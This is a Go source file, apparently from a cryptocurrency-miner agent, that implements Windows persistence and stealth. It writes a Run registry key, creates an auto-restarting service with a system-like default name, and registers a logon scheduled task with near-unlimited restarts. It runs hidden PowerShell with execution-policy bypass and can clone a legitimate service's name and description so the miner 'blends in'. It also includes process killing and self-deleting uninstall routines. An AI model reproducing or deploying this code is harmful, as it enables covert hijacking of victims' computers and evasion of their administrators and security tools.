//go:build windows package deploy import ( "fmt" "os" "os/exec" "path/filepath" "strings" "syscall" "crypto-miner-agent/config" "golang.org/x/sys/windows/registry" ) func CurrentExecutable() (string, error) { path, err := os.Executable() if err != nil { return filepath.Abs(os.Args[0]) } return filepath.Abs(path) } func configureAutoStart(cfg config.RuntimeConfig, binPath string) error { k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err != nil { return err } defer k.Close() return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag)) } func configureRunMode(cfg config.RuntimeConfig, installedBin string) error { switch cfg.RunAs { case "service": return createWindowsService(cfg, installedBin) case "scheduled": return createScheduledTask(cfg, installedBin) default: return nil } } // createWindowsService installs the miner as a real Windows Service with // automatic crash-restart. When ServiceMasquerade is enabled, the service // name and description are cloned from the donor service so it blends in. func createWindowsService(cfg config.RuntimeConfig, binPath string) error { svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } // Tear down any stale instance first (errors are expected and ignored) _ = exec.Command("sc.exe", "stop", svcName).Run() _ = exec.Command("sc.exe", "delete", svcName).Run() // Give SCM time to fully remove the entry exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck // Create the service if err := exec.Command("sc.exe", "create", svcName, "binPath=", `"`+binPath+`" --run`, "type=", "own", "start=", "auto", "error=", "ignore", ).Run(); err != nil { return fmt.Errorf("sc create: %w", err) } // Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s _ = exec.Command("sc.exe", "failure", svcName, "reset=", "60", "actions=", "restart/0/restart/5000/restart/30000", ).Run() // Start it _ = exec.Command("sc.exe", "start", svcName).Run() // Masquerade: copy description from donor service if cfg.ServiceMasquerade && cfg.ServiceDonor != "" { cloneServiceDescription(svcName, cfg.ServiceDonor) } return nil } // cloneServiceDescription copies the display name and description from // donorSvc into targetSvc using PowerShell so the service looks legitimate. func cloneServiceDescription(targetSvc, donorSvc string) { ps := fmt.Sprintf(` $donor = Get-Service '%s' -EA SilentlyContinue if ($donor) { $wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue $donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue if ($donorWmi) { sc.exe description '%s' ($donorWmi.Description) Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue } } `, strings.ReplaceAll(donorSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), strings.ReplaceAll(donorSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), strings.ReplaceAll(targetSvc, `'`, `''`), ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps) _ = cmd.Run() } func createScheduledTask(cfg config.RuntimeConfig, binPath string) error { taskName := PersistenceKeyName(cfg) if taskName == "" { taskName = "CryptoMinerAgent" } script := fmt.Sprintf( `$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`, strings.ReplaceAll(binPath, `'`, `''`), runFlag, strings.ReplaceAll(taskName, `'`, `''`), ) cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) return cmd.Run() } func applyDetachedStart(cmd *exec.Cmd) { if cmd == nil { return } cmd.SysProcAttr = &syscall.SysProcAttr{ HideWindow: true, CreationFlags: 0x08000000, } } func HostOSVersion() string { out, err := exec.Command("cmd", "/C", "ver").CombinedOutput() if err != nil { return "windows" } return strings.TrimSpace(string(out)) } func killWorkerProcess(cfg config.RuntimeConfig) { _ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run() } func removePersistence(cfg config.RuntimeConfig) { keyName := PersistenceKeyName(cfg) runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE) if err == nil { _ = runKey.DeleteValue(keyName) runKey.Close() } _ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run() // Remove service — use the configured name if available, fall back to legacy pattern svcName := cfg.ServiceName if svcName == "" { svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName) } _ = exec.Command("sc.exe", "stop", svcName).Run() _ = exec.Command("sc.exe", "delete", svcName).Run() } func selfUninstallSpawn(installDir string) { ps := fmt.Sprintf(` $dir = '%s' Start-Sleep -Seconds 2 Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue `, strings.ReplaceAll(installDir, "'", "''")) cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps) _ = cmd.Start() }